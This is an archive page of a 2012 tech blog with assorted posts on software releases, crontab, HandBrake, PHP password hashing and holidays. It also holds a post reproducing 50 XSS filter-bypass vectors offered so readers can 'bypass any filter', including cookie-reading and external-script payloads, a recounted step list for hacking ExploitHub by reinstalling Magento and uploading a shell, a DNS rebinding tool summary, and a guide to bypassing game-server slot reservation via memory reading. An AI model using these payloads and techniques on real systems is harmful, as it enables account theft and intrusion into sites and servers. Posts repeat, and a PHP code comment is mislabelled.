Thursday, 27 December 2012
The Scale Of Universe [A Must Watch]
Well this is so absofuckingly awesome that I decided it is worth making post about this particular site.
Without further delay, I present you this awesome link
I hope you loved the site like I did :)
Read more...
Scale of Universe
I hope you loved the site like I did :)
Read more...
Bookmark this post: | 
|
Monday, 24 December 2012
Wishing You A Merry Christmas
Techgaun wishes you all Merry Christmas and Happy Holidays. May this christmas bring happiness and joy in your life. May this Christmas be the special one and may Santa be more gracious to you and your family.
Time for enjoying the christmas to its fullest so guess what we are doing?
Listening to this great song:
And, few movies on the line :)
The Christmas List
A Bride For Christmas
Christmas Cupid
Christmas Song
Naughty or Nice
All I Want For Christmas
Now that we love the geeky stuffs, lets see some examples of Christmas trees drawn using TeX. FYI, TikZ is build on top of PGF and allows you to create sophisticated graphics in a rather intuitive and easy manner. And, Tikz and PGF are TeX packages used to create graphics programmatically.
Christmas Tree Using Tikz
And, special mention to Brisha Pote and Movie111Me @ Youtube
Read more...
Time for enjoying the christmas to its fullest so guess what we are doing?
Listening to this great song:
And, few movies on the line :)
List of Christmas Movies
The Christmas List
A Bride For Christmas
Christmas Cupid
Christmas Song
Naughty or Nice
All I Want For Christmas
Now that we love the geeky stuffs, lets see some examples of Christmas trees drawn using TeX. FYI, TikZ is build on top of PGF and allows you to create sophisticated graphics in a rather intuitive and easy manner. And, Tikz and PGF are TeX packages used to create graphics programmatically.
Christmas Tree Using Tikz
Wish you and your family a Merry Christmas!!!
And, special mention to Brisha Pote and Movie111Me @ Youtube
Read more...
Bookmark this post: |
|
Monday, 17 December 2012
Evince Rocks! Foxit Sucks
Been using foxit PDF reader for a while in Windows 7 while I was working on some windows-based project and I was totally pissed off with foxit.
Not being a fan of Adobe's PDF reader, I decided to try foxit PDF reader since some of the online reviews were stating Foxit to be a great PDF reader. Basically, I was looking for a very simple, fast, and lightweight PDF reader that suits me. Foxit has everything a good PDF reader should have. It works pretty well with any PDF documents I need to read. It is supposedly lightweight, fast, secure, and it has millions of users. But, it was neither fast nor lightweight in its default configuration, in my experience.
But its still lacking some feature, that I do not know. I just can not feel the software. I am not satisfied with the level of user experience this software imparts. What do you guys have to say about this??
Then I decided to use the famous PDF reader from linux world, the Evince. And, what can I say?
If you have not tried evince for windows, download it from Gnome's Evince page and try right away on Windows. It should work on Windows XP, Vista, and 7.
Read more...
Not being a fan of Adobe's PDF reader, I decided to try foxit PDF reader since some of the online reviews were stating Foxit to be a great PDF reader. Basically, I was looking for a very simple, fast, and lightweight PDF reader that suits me. Foxit has everything a good PDF reader should have. It works pretty well with any PDF documents I need to read. It is supposedly lightweight, fast, secure, and it has millions of users. But, it was neither fast nor lightweight in its default configuration, in my experience.
But its still lacking some feature, that I do not know. I just can not feel the software. I am not satisfied with the level of user experience this software imparts. What do you guys have to say about this??
Then I decided to use the famous PDF reader from linux world, the Evince. And, what can I say?
Evince ROCKS!!!
If you have not tried evince for windows, download it from Gnome's Evince page and try right away on Windows. It should work on Windows XP, Vista, and 7.
Download Evince
Read more...
Bookmark this post: |
|
Wednesday, 12 December 2012
GitHub Snippet Sharing Gist Gets Revamped
GitHub team has today announced the new Gist, their online snippet sharing tool. Gist is a simple way to share snippets and pastes with others offering syntax support for several languages, configuration file formats and document formats.
The great thing about Gist is that all gists are git repositories, so they are automatically versioned, forkable and usable as a git repository. Whether it's a simple snippet or a full app, Gist is a great way to get your point across.
The new Gist is re-written completely from scratch using better libraries and following appropriate style guide.
Read rest of the story at GitHub
Read more...
The great thing about Gist is that all gists are git repositories, so they are automatically versioned, forkable and usable as a git repository. Whether it's a simple snippet or a full app, Gist is a great way to get your point across.
The new Gist is re-written completely from scratch using better libraries and following appropriate style guide.
Read rest of the story at GitHub
Read more...
Bookmark this post: |
|
Tuesday, 11 December 2012
Inj3ct0r Team Hacked ExploitHub, Stole Private Exploits Worth $242333
Inj3ct0r team, which provides the ultimate database of exploits and vulnerabilities and serves as a great resource for vulnerability researchers and security professionals, has hacked ExploitHub.com, the site similar to inj3ct0r and stolen several private exploits worth $242333.
In the post from inj3ct0r team, they have provided the details for motivation of hack and the process of hack. At the time of writing this, ExploitHub.com seems to be down.
The post gives the process to accomplish the hack as below: I am very much surprised when he learned of Magento eCommerce Software and search /install/ 1) We scan server and site 2) We reinstall Magento CMS https://www.exploithub.com/install/ <= We reinstall Magento CMS 3) Upload shell and phpinfo https://www.exploithub.com/phpinfo.php 4) Back all files and database. 5) Upload piece of the database https://www.exploithub.com/export/ 6) Increased privileges
Read more...
In the post from inj3ct0r team, they have provided the details for motivation of hack and the process of hack. At the time of writing this, ExploitHub.com seems to be down.
The post gives the process to accomplish the hack as below: I am very much surprised when he learned of Magento eCommerce Software and search /install/ 1) We scan server and site 2) We reinstall Magento CMS https://www.exploithub.com/install/ <= We reinstall Magento CMS 3) Upload shell and phpinfo https://www.exploithub.com/phpinfo.php 4) Back all files and database. 5) Upload piece of the database https://www.exploithub.com/export/ 6) Increased privileges
Read more...
Bookmark this post: |
|
Saturday, 8 December 2012
DNS Rebinding Attack Using Rebind
Rebind is a tool that implements the multiple A record DNS rebinding attack. Although this tool was originally written to target home routers, it can be used to target any public (non RFC1918) IP address.
Rebind provides an external attacker access to a target router's internal Web interface. This tool works on routers that implement the weak end system model in their IP stack, have specifically configured firewall rules, and who bind their Web service to the router's WAN interface. Note that remote administration does not need to be enabled for this attack to work. All that is required is that a user inside the target network surf to a Web site that is controlled, or has been compromised, by the attacker.
Download rebind
Tested Routers (Affected + Not affected)
Rebind FAQ
Defcon Slides
Kind of interesting vector and I guess many are vulnerable out there.
Read more...
Rebind provides an external attacker access to a target router's internal Web interface. This tool works on routers that implement the weak end system model in their IP stack, have specifically configured firewall rules, and who bind their Web service to the router's WAN interface. Note that remote administration does not need to be enabled for this attack to work. All that is required is that a user inside the target network surf to a Web site that is controlled, or has been compromised, by the attacker.
Important Links
Download rebind
Tested Routers (Affected + Not affected)
Rebind FAQ
Defcon Slides
Kind of interesting vector and I guess many are vulnerable out there.
Read more...
Bookmark this post: |
|
Friday, 30 November 2012
Nmap 6.25 Holiday Season Released
After five months of the release of NMAP 6.01, a newer version 6.25 has been released yesterday.
Nmap 6.25 contains hundreds of improvements, including 85 new NSE scripts, nearly 1,000 new OS and service detection fingerprints, performance enhancements such as the new kqueue and poll I/O engines, better IPv6 traceroute support, Windows 8 improvements, and much more! It also includes the work of five Google Summer of Code interns who worked full time with Nmap mentors during the summer.
Nmap 6.25 source code and binary packages for Linux, Windows, and Mac are available for free download from:
http://nmap.org/download.html
Release details
Read more...
Nmap 6.25 contains hundreds of improvements, including 85 new NSE scripts, nearly 1,000 new OS and service detection fingerprints, performance enhancements such as the new kqueue and poll I/O engines, better IPv6 traceroute support, Windows 8 improvements, and much more! It also includes the work of five Google Summer of Code interns who worked full time with Nmap mentors during the summer.
Nmap 6.25 source code and binary packages for Linux, Windows, and Mac are available for free download from:
http://nmap.org/download.html
Release details
Read more...
Bookmark this post: |
|
Wednesday, 28 November 2012
How To Export LibreOffice Impress Slides As Images
I was trying to export individual slides from LibreOffice Impress but I had to select each of the slide and then export it which was getting really really irritating with larger slides. With a quick search, I found an Impress extension that lets you export all the slides at once.
So the addon I was talking about is Export as Images extension which lets you export all the Impress slides or Draw pages into different image formats. The formats supported are JPG, PNG, GIF, BMP and TIFF format.
Once you install the extension, it adds a menu entry "Export as images..." to File menu and allows you to choose a file name for exported images, image size as well as some other parameters.
First grab the extension from HERE or see if newer version is available from HERE.
Once you have downloaded the extension, the installation is pretty straightforward. Open up the Extension Manager from Tools menu and then click on Add. Now navigate to the folder containing your newly downloaded extension and select it. Once the installation succeeds, make sure to restart your LibreOffice Impress to make sure the extension gets activated.
Now open any presentation and to export all the slides as images, go to Files menu where you'll find a new entry Export as images... just below the Export... option.
The GUI for the extension is self explanatory. I hope this proves useful to you :)
Read more...
So the addon I was talking about is Export as Images extension which lets you export all the Impress slides or Draw pages into different image formats. The formats supported are JPG, PNG, GIF, BMP and TIFF format.
Once you install the extension, it adds a menu entry "Export as images..." to File menu and allows you to choose a file name for exported images, image size as well as some other parameters.
Installing Export as Images extension
First grab the extension from HERE or see if newer version is available from HERE.
Once you have downloaded the extension, the installation is pretty straightforward. Open up the Extension Manager from Tools menu and then click on Add. Now navigate to the folder containing your newly downloaded extension and select it. Once the installation succeeds, make sure to restart your LibreOffice Impress to make sure the extension gets activated.
Now open any presentation and to export all the slides as images, go to Files menu where you'll find a new entry Export as images... just below the Export... option.
The GUI for the extension is self explanatory. I hope this proves useful to you :)
Read more...
Bookmark this post: |
|
Tuesday, 27 November 2012
Basic Guide To Crontab
Well it has been a busy week and now I am back with this basic guide to running cron jobs in linux.
Cron is a time-based job scheduling program which comes shipped with most linux distributions and enables users to execute commands or set of scripts automatically at the specified time. Cron is particularly important for system administration and maintenance though it can be used for any general purpose such as scheduling your porn downloads. My post is based on the Vixie Cron, a popular implementation of Cron by Paul Vixie which is by default the cron program in Ubuntu. Other implementations of the cron are anacron, fcron, and dcron.
The cron daemon runs automatically during the startup and consults the crontabs (shorthand for cron tables) for jobs to executed. Crontabs are nothing but files containing the commands to be run at the specified time, however there is a particular (& simple to remember) syntax for cronjobs to be run. You could directly edit these cron tables files but that's not the recommended way. You should always use the crontab editor to add/update jobs to the crontabs.
Cron searches its spool area (located at /var/spool/cron/crontabs) for crontab files which are named after the user accounts from /etc/passwd. As a matter of precaution, you should not directly manipulate the files in there. Additionally, cron reads the /etc/crontab file and all the files in /etc/cron.d. Also, there are other folders: /etc/cron.daily, /etc/cron.hourly, /etc/cron.monthly, and /etc/cron.weekly. And, the name of folders are obvious so if you put the scripts in one of these folders, your script will run either daily or hourly or monthly or weekly.
Since you got several files associated with cron, you have bunch of options on running the cron jobs in your system. First lets start with the crontab tool which is used to install, deinstall or list the tables used to drive the cron daemon. If the /etc/cron.allow file exists, then you must be listed (one user per line) therein in order to be allowed to use this command. If the /etc/cron.allow file does not exist but the /etc/cron.deny file does exist, then you must not be listed in the /etc/cron.deny file in order to use this command.
The crontab command provides following options:
crontab can be configured to use any of the editors.
To list the user's crontab, use the following command:
To delete existing cron table, type:
To install new cron table, type:
If you are wishing to add commands that require root privilege for execution, make sure you prepend sudo in the above command to add such commands to crontabs. The cron table expects each line of cron job in the following format:
These columns take the values in the range below:
Apart from these values, the cron entries accept other special characters. In each of these five columns:
Now we know the format of how should each line of cron entry should look like, lets see some examples.
The information below is taken directly from man 5 crontab and can serve as a good reference for special strings in place of the 5 columns:
Now that you are feeling better with cronjobs, we will see how we can add cronjobs in the /etc/crontab file. The different thing about this crontab file is that there is an extra column for user field so that the particular cron entry is executed as the specified user.
The format for cron entry is similar to what we've seen already, with an extra column for user.
You can use any text editor such as nano or vi to edit the /etc/crontab file.
Finally, once you update crons, make sure to restart the cron daemon to ensure your new cron entries get read by the daemon.
I hope this primer for crontab helps you in your job scheduling job :D
Read more...
Cron is a time-based job scheduling program which comes shipped with most linux distributions and enables users to execute commands or set of scripts automatically at the specified time. Cron is particularly important for system administration and maintenance though it can be used for any general purpose such as scheduling your porn downloads. My post is based on the Vixie Cron, a popular implementation of Cron by Paul Vixie which is by default the cron program in Ubuntu. Other implementations of the cron are anacron, fcron, and dcron.
The cron daemon runs automatically during the startup and consults the crontabs (shorthand for cron tables) for jobs to executed. Crontabs are nothing but files containing the commands to be run at the specified time, however there is a particular (& simple to remember) syntax for cronjobs to be run. You could directly edit these cron tables files but that's not the recommended way. You should always use the crontab editor to add/update jobs to the crontabs.
Cron searches its spool area (located at /var/spool/cron/crontabs) for crontab files which are named after the user accounts from /etc/passwd. As a matter of precaution, you should not directly manipulate the files in there. Additionally, cron reads the /etc/crontab file and all the files in /etc/cron.d. Also, there are other folders: /etc/cron.daily, /etc/cron.hourly, /etc/cron.monthly, and /etc/cron.weekly. And, the name of folders are obvious so if you put the scripts in one of these folders, your script will run either daily or hourly or monthly or weekly.
Since you got several files associated with cron, you have bunch of options on running the cron jobs in your system. First lets start with the crontab tool which is used to install, deinstall or list the tables used to drive the cron daemon. If the /etc/cron.allow file exists, then you must be listed (one user per line) therein in order to be allowed to use this command. If the /etc/cron.allow file does not exist but the /etc/cron.deny file does exist, then you must not be listed in the /etc/cron.deny file in order to use this command.
The crontab command provides following options:
-e edit user's crontab
-l list user's crontab
-r delete user's crontab
-i prompt before deleting user's crontab
crontab can be configured to use any of the editors.
To list the user's crontab, use the following command:
$ crontab -l
To delete existing cron table, type:
$ crontab -ir
To install new cron table, type:
$ crontab -e
If you are wishing to add commands that require root privilege for execution, make sure you prepend sudo in the above command to add such commands to crontabs. The cron table expects each line of cron job in the following format:
m h dom mon dow command
i.e.
minute hour day_of_month month day_of_week command_to_run
i.e.
minute hour day_of_month month day_of_week command_to_run
These columns take the values in the range below:
Minute (0 - 59) Hour (0 - 23) Day of month (1 - 31) Month (1 - 12) Day of the week (0 - 6, 0 representing sunday, 6 saturday)
Apart from these values, the cron entries accept other special characters. In each of these five columns:
- An asterisk (*) stands for "every".
- Slashes (/) are used to describe increments of ranges eg. */15 in minutes column would execute the specified command regularly and repeatedly after 15 minute.
- Commas (,) are used to separate items of a list. eg. using 1,2,3 in the 5th field (day of week) would mean Mondays, Tuesday, and Wednesday.
- Hyphens (-) are used to define ranges. For example, 2-5 in the 5th field would indicate Tuesday to Friday.
Now we know the format of how should each line of cron entry should look like, lets see some examples.
Run backup at 5 a.m every Monday
0 5 * * 1 /bin/mybackup
Run backup at 12:01 a.m monday-thursday
1 0 * * 1-4 /bin/mybackup
Run backup at 12:01 a.m on monday and thursday
1 0 * * 1,4 /bin/mybackup
Run backup every minute
* * * * * /bin/mybackup
Run backup every 15 minutes repeatedly
*/15 * * * * /bin/mybackup
The information below is taken directly from man 5 crontab and can serve as a good reference for special strings in place of the 5 columns:
@reboot Run once, at startup.
@yearly Run once a year, "0 0 1 1 *".
@annually (same as @yearly)
@monthly Run once a month, "0 0 1 * *".
@weekly Run once a week, "0 0 * * 0".
@daily Run once a day, "0 0 * * *".
@midnight (same as @daily)
@hourly Run once an hour, "0 * * * *".
Now that you are feeling better with cronjobs, we will see how we can add cronjobs in the /etc/crontab file. The different thing about this crontab file is that there is an extra column for user field so that the particular cron entry is executed as the specified user.
The format for cron entry is similar to what we've seen already, with an extra column for user.
m h dom mon dow user command
You can use any text editor such as nano or vi to edit the /etc/crontab file.
Finally, once you update crons, make sure to restart the cron daemon to ensure your new cron entries get read by the daemon.
$ sudo service cron restart
I hope this primer for crontab helps you in your job scheduling job :D
Read more...
Bookmark this post: |
|
Friday, 23 November 2012
Video Transcoding With HandBrake In Linux
HandBrake is a GPL-licensed, multiplatform, multithreaded video transcoder available for major platforms: linux, mac, and windows. HandBrake converts video from nearly any format to a handful of modern ones.
Handbrake can save output in two containers, MP4 and MKV and I've been using it as a MKV transcoder for a while and I'm quite satisfied with it. Even though the official wiki says its not a ripper, I can see it to be quite useful DVD ripper.
Handbrake is available in CLI (HandBrakeCLI) and GUI (ghb) mode. Hence this offers the flexibility to choose the appropriate version according to your linux personality. As of now, we can install HandBrake from PPA and the latest version is v. 0.9.8 released back in July this year.
HandBrake can be installed from PPA. Issue the following commands in your terminal
Or if you wish to install the GUI version, type:
I recommend using the CLI version since you can transcode/convert videos much more efficiently if you use the CLI version. But if you are not comfortable with the command line interfaces, the GUI version of HandBrake is also quite good.
Only problem I have felt is the naming convention of the commands for both the GUI and CLI versions of the tool. In order to run two versions of this tool, you need to type HandBrakeCLI for CLI version and ghb for the GUI version. The problem here is with the naming convention for the binaries. I mean, the names handbrake-cli and handbrake-gtk would be more straightforward than these badly chosen names. Otherwise, the tool does pretty good job of video conversion and can be good alternative if you are not comfortable with ffmpeg. Note that ffmpeg is also capable of video conversions of different formats and is a great tool. :)
Read more...
Handbrake can save output in two containers, MP4 and MKV and I've been using it as a MKV transcoder for a while and I'm quite satisfied with it. Even though the official wiki says its not a ripper, I can see it to be quite useful DVD ripper.
Handbrake is available in CLI (HandBrakeCLI) and GUI (ghb) mode. Hence this offers the flexibility to choose the appropriate version according to your linux personality. As of now, we can install HandBrake from PPA and the latest version is v. 0.9.8 released back in July this year.
HandBrake can be installed from PPA. Issue the following commands in your terminal
$ sudo add-apt-repository ppa:stebbins/handbrake-releases
$ sudo apt-get update
$ sudo apt-get install handbrake-cli
$ sudo apt-get update
$ sudo apt-get install handbrake-cli
Or if you wish to install the GUI version, type:
$ sudo apt-get install handbrake-gtk
I recommend using the CLI version since you can transcode/convert videos much more efficiently if you use the CLI version. But if you are not comfortable with the command line interfaces, the GUI version of HandBrake is also quite good.
Only problem I have felt is the naming convention of the commands for both the GUI and CLI versions of the tool. In order to run two versions of this tool, you need to type HandBrakeCLI for CLI version and ghb for the GUI version. The problem here is with the naming convention for the binaries. I mean, the names handbrake-cli and handbrake-gtk would be more straightforward than these badly chosen names. Otherwise, the tool does pretty good job of video conversion and can be good alternative if you are not comfortable with ffmpeg. Note that ffmpeg is also capable of video conversions of different formats and is a great tool. :)
Read more...
Bookmark this post: |
|
Monday, 19 November 2012
50 Awesome XSS Vectors From @soaj1664ashar
Here are 50 awesome XSS vectors that @soaj1664ashar has been tweeting over time. Can be quite useful for bypassing any filter with the help of these full baked vectors.
Or Grab from pastebin :)
Read more...
50 awesome XSS vectors that I have tweeted (@soaj1664ashar) over time. Enjoy! Now you can bypass any filter with the help of these full baked vectors :-)
1) <a href="javascript:\u0061le%72t(1)"><button>
2) <div onmouseover='alert(1)'>DIV</div>
3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
4) <a href="jAvAsCrIpT:alert(1)">X</a>
5) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
6) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
7) <var onmouseover="prompt(1)">On Mouse Over</var>
8) <a href=javascript:alert(document.cookie)>Click Here</a>
9) <img src="/" =_=" title="onerror='prompt(1)'">
10) <%<!--'%><script>alert(1);</script -->
11) <script src="data:text/javascript,alert(1)"></script>
12) <iframe/src \/\/onload = prompt(1)
13) <iframe/onreadystatechange=alert(1)
14) <svg/onload=alert(1)
15) <input value=<><iframe/src=javascript:confirm(1)
16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div>
17) http://www.<script>alert(1)</script .com
18) <iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
19) <svg><script ?>alert(1)
20) <iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
21) <img src=`xx:xx`onerror=alert(1)>
22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
23) <meta http-equiv="refresh" content="0;javascript:alert(1)"/>
24) <math><a xlink:href="//jsfiddle.net/t846h/">click
25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
26) <svg contentScriptType=text/vbs><script>MsgBox+1
27) <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
30) <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
31) <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
32) <object data=javascript:\u0061le%72t(1)>
33) <script>+-+-1-+-+alert(1)</script>
34) <body/onload=<!-->
alert(1)>
35) <script itworksinallbrowsers>/*<script* */alert(1)</script
36) <img src ?itworksonchrome?\/onerror = alert(1)
37) <svg><script>//
confirm(1);</script </svg>
38) <svg><script onlypossibleinopera:-)> alert(1)
39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
40) <script x> alert(1) </script 1=2
41) <div/onmouseover='alert(1)'> style="x:">
42) <--`<img/src=` onerror=alert(1)> --!>
43) <script/src=data:text/javascript,alert(1)></script>
44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
45) "><img src=x onerror=window.open('https://www.google.com/');>
46) <form><button formaction=javascript:alert(1)>CLICKME
47) <math><a xlink:href="//jsfiddle.net/t846h/">click
48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
50) <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
Or Grab from pastebin :)
Read more...
Bookmark this post: |
|
PHP 5.5 To Include Simple And Secure Password Hashing API
Few days ago, we saw the release of PHP 5.5.0 Alpha 1 to the public. The PHP development team is serious about addressing all the criticism it gets time and again. With the recent leaks of several high profile sites, a simple to use yet secure password hashing API has been introduced now.
Here's the RFC for simple password hashing API proposed by ircmaxell and now it has been implemented as a PHP core in 5.5.0 Alpha 1 release and will continue to be part of the PHP core in future releases.
In case you would like to use the API functions in older releases, there's a compatible PHP library for PHP >= 5.3.7. The reason for this is that PHP prior to 5.3.7 contains a security issue with its BCRYPT implementation.
Basically the idea behind simple password hashing API is that most of the PHP developers either don't understand or don't think worth the effort the whole concept of strong password hashing. By providing a simple API that can be called, which takes care of all of those issues for you, hopefully more projects and developers will be able to use secure password hashing.
Using the API is quite simple. All you have to do to get the hash is:
Verifying the password is also quite simple.
The simple password hashing API provides sets of password_* functions for the developers to make use of strong password hashing.
RFC for simple password hashing API
Designing an API
PHP 5.5.0 Alpha 1 released
Read more...
Here's the RFC for simple password hashing API proposed by ircmaxell and now it has been implemented as a PHP core in 5.5.0 Alpha 1 release and will continue to be part of the PHP core in future releases.
In case you would like to use the API functions in older releases, there's a compatible PHP library for PHP >= 5.3.7. The reason for this is that PHP prior to 5.3.7 contains a security issue with its BCRYPT implementation.
Basically the idea behind simple password hashing API is that most of the PHP developers either don't understand or don't think worth the effort the whole concept of strong password hashing. By providing a simple API that can be called, which takes care of all of those issues for you, hopefully more projects and developers will be able to use secure password hashing.
Using the API is quite simple. All you have to do to get the hash is:
$hash = password_hash($password, PASSWORD_BCRYPT);
Verifying the password is also quite simple.
if (password_verify($password, $hash)) {
// pass is correct :)
} else {
// pass is correct :/
}
The simple password hashing API provides sets of password_* functions for the developers to make use of strong password hashing.
Reading materials
RFC for simple password hashing API
Designing an API
PHP 5.5.0 Alpha 1 released
Read more...
Bookmark this post: |
|
How To View Someone's IP and Speed - Epic
Well wanna laugh the whole day? Then, check out the video I found today on google. Don't even try to hold your laugh while watching this video because that's gonna cause a serious mental disorder :P.
Before starting, I would suggest you to read Wikipedia entry about traceroute if you don't know about traceroute(Believe me if you understand english, you'll get what it is).
Myself, been laughing the whole day. :P
Read more...
Myself, been laughing the whole day. :P
Read more...
Bookmark this post: |
|
Tuesday, 13 November 2012
Linux Mint 14 "Nadia" RC Released
After 6 months of incremental development on top of stable and reliable technologies such as MATE, Cinnamon and MDM, Linux Mint 14 codenamed "Nadia" RC is available for download.
For the first time since Linux Mint 11, the development team was able to capitalize on upstream technology which works and fits its goals. After 6 months of incremental development, Linux Mint 14 features an impressive list of improvements, increased stability and a refined desktop experience. This new release comes with updated software and brings refinements and new features to make your desktop even more comfortable to use. Linux Mint 14 "Nadia" is based upon the Ubuntu 12.10 "Quantal Quetzal".
The download links (torrents and direct both) are available at this blog post.
Useful Links
Download Nadia
Nadia release notes
Whats New in Nadia
Read more...
For the first time since Linux Mint 11, the development team was able to capitalize on upstream technology which works and fits its goals. After 6 months of incremental development, Linux Mint 14 features an impressive list of improvements, increased stability and a refined desktop experience. This new release comes with updated software and brings refinements and new features to make your desktop even more comfortable to use. Linux Mint 14 "Nadia" is based upon the Ubuntu 12.10 "Quantal Quetzal".
The download links (torrents and direct both) are available at this blog post.
Useful Links
Download Nadia
Nadia release notes
Whats New in Nadia
Read more...
Bookmark this post: |
|
Sunday, 11 November 2012
Wappalyzer - Browser Extension To Identify Web Servers
Wappalyzer is a very useful browser extension that reveals the web technologies and server softwares used behind to empower any webpage. This extension identifies different CMS, e-commerce portals, blogging platforms, web servers, frameworks, analytic tools, etc.
This very useful browser extension is available for Mozilla Firefox and Google Chrome. It is quite useful in server fingerprinting and identification steps. Wappalyzer tracks and detects several hundred applications under several categories.
Wappalyzer for Mozilla Firefox
Wappalyzer for Google Chrome
Wappalyzer @ GitHub
Once you install the addon and reload the browser, you will see the icons for identified applications on the right side of address bar (near to the bookmark & reload icon) in Mozilla Firefox. You can click in that area for more details.
One particular setting you would like to disable is the tracking and gathering of anonymous data which is *said* to be used for research purposes. You can turn off the tracking by going to the addon's preference page. Screenshot below shows the preference page in Mozilla Firefox.
Read more...
This very useful browser extension is available for Mozilla Firefox and Google Chrome. It is quite useful in server fingerprinting and identification steps. Wappalyzer tracks and detects several hundred applications under several categories.
Wappalyzer for Mozilla Firefox
Wappalyzer for Google Chrome
Wappalyzer @ GitHub
Once you install the addon and reload the browser, you will see the icons for identified applications on the right side of address bar (near to the bookmark & reload icon) in Mozilla Firefox. You can click in that area for more details.
One particular setting you would like to disable is the tracking and gathering of anonymous data which is *said* to be used for research purposes. You can turn off the tracking by going to the addon's preference page. Screenshot below shows the preference page in Mozilla Firefox.
Read more...
Bookmark this post: |
|
Wednesday, 7 November 2012
Steam Beta For Linux Released, Use Steam Beta Right Now
Finally the steam beta was released today and is ready for beta testing by the selected 1000 beta testers who were chosen through the Steam For Linux Beta Survey. This post also provides the steps for using steam beta for other users who were not selected.
Don't worry if you were not lucky enough to get a Beta account in Steam for linux survey. Some of the Reddit users have found a way around this and non-beta account holder can use steam for linux beta.
The post from Valve Software writes:
The Valve Linux team is proud to announce the launch of a limited access beta for its new Steam for Linux client.
The Steam for Linux Beta client supports the free-to-play game Team Fortress 2. Approximately two dozen additional Steam titles are now also available for play on Ubuntu. Additionally, the Steam for Linux Beta client includes Big Picture, the mode of Steam designed for use with a TV and controller, also currently in beta.
Below are the steps you should follow in order to use steam beta in your linux. First, type the following commands in the terminal:
The steam installer will then download and update the data for steam client. Once the update is finished, launch the steam from Unity dash and then login to your steam account (or create one). Close your steam client and then type the followin in terminal or just update your shortcut with following shortcut:
Enjoy steam in your linux :)
Read more...
Don't worry if you were not lucky enough to get a Beta account in Steam for linux survey. Some of the Reddit users have found a way around this and non-beta account holder can use steam for linux beta.
The post from Valve Software writes:
The Valve Linux team is proud to announce the launch of a limited access beta for its new Steam for Linux client.
The Steam for Linux Beta client supports the free-to-play game Team Fortress 2. Approximately two dozen additional Steam titles are now also available for play on Ubuntu. Additionally, the Steam for Linux Beta client includes Big Picture, the mode of Steam designed for use with a TV and controller, also currently in beta.
Below are the steps you should follow in order to use steam beta in your linux. First, type the following commands in the terminal:
samar@samar-Techgaun:~$ sudo apt-get install libopenal1
samar@samar-Techgaun:~$ wget http://media.steampowered.com/client/installer/steam.deb && sudo dpkg -i steam.deb
samar@samar-Techgaun:~$ wget http://media.steampowered.com/client/installer/steam.deb && sudo dpkg -i steam.deb
The steam installer will then download and update the data for steam client. Once the update is finished, launch the steam from Unity dash and then login to your steam account (or create one). Close your steam client and then type the followin in terminal or just update your shortcut with following shortcut:
steam steam://open/games
Enjoy steam in your linux :)
Read more...
Bookmark this post: |
|
Monday, 5 November 2012
ImageShack and Symantec Hacked And Dumped
2012 has been a year of leaks and hacks and continues to be so. Hackers hacked into ImageShack and Symantec servers and have leaked several critical information regarding the servers and employees.
Hackers have disclosed in an e-zine that the security practices of these major companies have been a joke: In case of ImageShack, all MySQL instances as root, really old (2008) kernels, hardcode database passwords, enable register_globals, etc.
The e-zine says:
ImageShack has been completely owned, from the ground up. We have had root and physical control of every server and router they own.
Likewise, they have dumped the database of Symantec, one of the leading AV companies which includes the critical information of the researchers at Symantec.
Links
Pastebin
AnonPaste
Read more...
Hackers have disclosed in an e-zine that the security practices of these major companies have been a joke: In case of ImageShack, all MySQL instances as root, really old (2008) kernels, hardcode database passwords, enable register_globals, etc.
The e-zine says:
ImageShack has been completely owned, from the ground up. We have had root and physical control of every server and router they own.
Likewise, they have dumped the database of Symantec, one of the leading AV companies which includes the critical information of the researchers at Symantec.
Links
Pastebin
AnonPaste
Read more...
Bookmark this post: |
|
Saturday, 3 November 2012
Bypass Slot Reservation In Counter Strike 1.6
So you are crazy about CS but your local servers are always packed and can not enter the servers due to slot reservations for admins? Don't worry, this guide will provide an insight and step by step details on how to bypass slot reservation in Amx Mod X powered servers.
I checked the source code of slot reservation plugin (adminslots.sma) from AMXMODX source and found out that the admin slot plugin was executing a brute-force vulnerable randomized command at the client end. See the line of code below:
The bruteforce space is quite small, 4 uppercase characters from A-Z i.e. 26 * 26 * 26 * 26 combination is the maximum amount of search required to find the random part of the command. Hence, the command executed at client end is amxresXXXX where {X: X belongs to [A-Z]}. If there are still slots available for normal players or if the connecting user has slot reservation privilege, he will be able to connect to the server otherwise the server will kick the user. We are not going to bruteforce but we are going to use a memory viewer and editor software that is capable of reading the contents in the memory (RAM).
Basically, we hook into the Counter Strike client process from one of the freely available memory editors. We then connect to the server and get dropped due to the slot reservation message. In the meantime, the server sends the partial-random command.. FYI, these memory viewers make use of kernel APIs such as ReadProcessMemory() to read the memory layout of any process. We search for the initial part of the string which is amxres.
Once we find the unique string sent by server to our client, we use the alias command with amxresXXXX as our alias. For your info, alias provides a mechanism to group different commands to achieve something more useful.
